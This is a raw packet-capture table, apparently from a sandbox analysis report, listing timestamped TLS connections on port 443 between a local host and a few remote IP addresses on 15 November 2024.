Nov 15, 2024 19:39:45.250133991 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.250421047 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.250457048 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.250880957 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.250891924 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.351732969 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.352353096 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.352444887 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.352444887 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.352444887 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.372258902 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.372426987 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.372503996 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.373866081 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.374095917 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.374206066 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.376044035 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.376334906 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.376368999 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.376422882 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.376422882 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.380204916 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.380453110 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.380544901 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.458513021 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.458513021 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.458574057 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.458600044 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.462157011 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.462157011 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.462239981 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.462285995 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.470884085 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.470884085 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.470904112 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.470928907 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.471573114 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.471573114 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.471604109 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.471618891 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.595956087 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.596054077 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.596124887 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.597434998 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.597471952 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.611876965 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.611923933 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.612009048 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.612282038 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.612309933 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.613214016 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.613245964 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.613373995 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.613562107 CET	49876	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.613604069 CET	443	49876	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.613672972 CET	49876	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.613782883 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.613809109 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.614109993 CET	49876	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.614130020 CET	443	49876	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.615127087 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.615219116 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.615313053 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.615564108 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.615598917 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.665797949 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.665810108 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.337075949 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.338500023 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.338583946 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.338598967 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.339104891 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.339119911 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.339266062 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.339296103 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.339627028 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.339646101 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.344566107 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.344917059 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.344958067 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.345331907 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.345338106 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.358321905 CET	443	49876	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.358854055 CET	49876	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.358885050 CET	443	49876	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.359357119 CET	49876	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.359366894 CET	443	49876	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.362144947 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.362657070 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.362689972 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.363107920 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.363115072 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.473118067 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.473146915 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.473206043 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.473216057 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.473259926 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.475588083 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.476140976 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.476181030 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.476187944 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.476224899 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.483666897 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.483690977 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.483706951 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.483715057 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.485724926 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.485738993 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.485752106 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.485755920 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.487936974 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.488269091 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.488315105 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.488318920 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.488390923 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.488687038 CET	443	49876	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.488840103 CET	443	49876	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.488893986 CET	49876	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.491883993 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.491929054 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.491976023 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.491992950 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.493288994 CET	49876	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.493288994 CET	49876	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.493309021 CET	443	49876	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.493319988 CET	443	49876	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.494965076 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.495408058 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.495455027 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.495457888 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.495521069 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.498446941 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.498471022 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.498483896 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.498492002 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.502274036 CET	49879	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.502319098 CET	443	49879	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.502378941 CET	49879	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.511008978 CET	49879	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.511023045 CET	443	49879	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.515121937 CET	49880	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.515153885 CET	443	49880	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.515218019 CET	49880	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.515372992 CET	49880	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.515386105 CET	443	49880	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.516355038 CET	49881	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.516392946 CET	443	49881	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.516438961 CET	49881	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.517836094 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.517846107 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.517903090 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.518471003 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.518481016 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.518527985 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.518743992 CET	49881	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.518759012 CET	443	49881	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.518842936 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.518857956 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:46.522466898 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:46.522479057 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.245775938 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.246253014 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.246284962 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.247725010 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.247731924 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.249006987 CET	443	49879	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.249475002 CET	49879	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.249567032 CET	443	49879	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.249716997 CET	49879	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.249733925 CET	443	49879	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.268874884 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.269215107 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.269243002 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.269612074 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.269625902 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.273452044 CET	443	49881	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.273730040 CET	49881	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.273750067 CET	443	49881	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.274147987 CET	49881	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.274153948 CET	443	49881	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.289278030 CET	443	49880	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.289729118 CET	49880	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.289746046 CET	443	49880	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.290272951 CET	49880	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.290277958 CET	443	49880	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.374386072 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.374423027 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.374475002 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.374481916 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.374526024 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.374692917 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.374713898 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.374726057 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.374732971 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.378102064 CET	49888	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.378149986 CET	443	49888	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.378242970 CET	49888	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.378410101 CET	49888	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.378427029 CET	443	49888	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.379623890 CET	443	49879	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.379786015 CET	443	49879	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.379857063 CET	49879	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.379931927 CET	49879	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.379931927 CET	49879	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.379968882 CET	443	49879	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.380000114 CET	443	49879	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.383121967 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.383204937 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.383289099 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.383450985 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.383485079 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.400640011 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.400811911 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.400916100 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.400994062 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.401012897 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.401034117 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.401041985 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.404058933 CET	49890	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.404095888 CET	443	49890	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.404284954 CET	49890	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.404453993 CET	49890	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.404469013 CET	443	49890	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.409281015 CET	443	49881	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.409849882 CET	443	49881	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.409921885 CET	49881	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.409939051 CET	443	49881	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.410012007 CET	443	49881	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.410099030 CET	49881	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.410118103 CET	443	49881	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.410130024 CET	49881	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.410135984 CET	443	49881	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.413360119 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.413412094 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.413501978 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.413651943 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.413669109 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.432924986 CET	443	49880	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.432987928 CET	443	49880	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.433090925 CET	49880	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.433124065 CET	443	49880	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.433151007 CET	443	49880	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.433316946 CET	49880	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.433372021 CET	49880	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.433387995 CET	443	49880	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.433401108 CET	49880	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.433408022 CET	443	49880	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.440324068 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.440370083 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:47.440501928 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.440629005 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:47.440649033 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.127510071 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.128051996 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.128097057 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.128504992 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.128516912 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.132936001 CET	443	49888	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.133281946 CET	49888	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.133313894 CET	443	49888	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.133725882 CET	49888	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.133732080 CET	443	49888	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.170643091 CET	443	49890	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.171032906 CET	49890	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.171047926 CET	443	49890	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.171475887 CET	49890	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.171480894 CET	443	49890	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.201843977 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.202227116 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.202246904 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.202641964 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.202646971 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.269820929 CET	443	49888	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.269903898 CET	443	49888	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.269973993 CET	49888	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.270191908 CET	49888	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.270207882 CET	443	49888	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.270231009 CET	49888	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.270237923 CET	443	49888	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.273080111 CET	49893	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.273161888 CET	443	49893	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.273230076 CET	49893	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.273456097 CET	49893	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.273488045 CET	443	49893	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.293103933 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.293174028 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.293370962 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.293417931 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.293451071 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.293477058 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.293494940 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.296331882 CET	49894	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.296375036 CET	443	49894	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.296576023 CET	49894	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.296787024 CET	49894	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.296802998 CET	443	49894	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.301250935 CET	443	49890	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.301337957 CET	443	49890	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.301397085 CET	49890	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.301424980 CET	443	49890	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.301467896 CET	443	49890	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.301518917 CET	49890	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.301604986 CET	49890	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.301631927 CET	443	49890	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.301654100 CET	49890	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.301665068 CET	443	49890	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.304928064 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.304980993 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.305107117 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.305231094 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.305248976 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.332142115 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.332634926 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.332741022 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.332811117 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.332830906 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.332839012 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.335799932 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.335849047 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.335977077 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.336391926 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.336414099 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.512475014 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:48.512504101 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:48.512747049 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:48.513027906 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:48.513037920 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:48.513794899 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.513827085 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.513884068 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.514170885 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:48.514199972 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:48.856750965 CET	49901	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:39:48.856791973 CET	443	49901	142.250.186.132	192.168.2.7
Nov 15, 2024 19:39:48.856851101 CET	49901	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:39:48.857103109 CET	49901	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:39:48.857136011 CET	443	49901	142.250.186.132	192.168.2.7
Nov 15, 2024 19:39:48.985003948 CET	49902	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:48.985060930 CET	443	49902	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:48.985136032 CET	49902	443	192.168.2.7	184.28.90.27
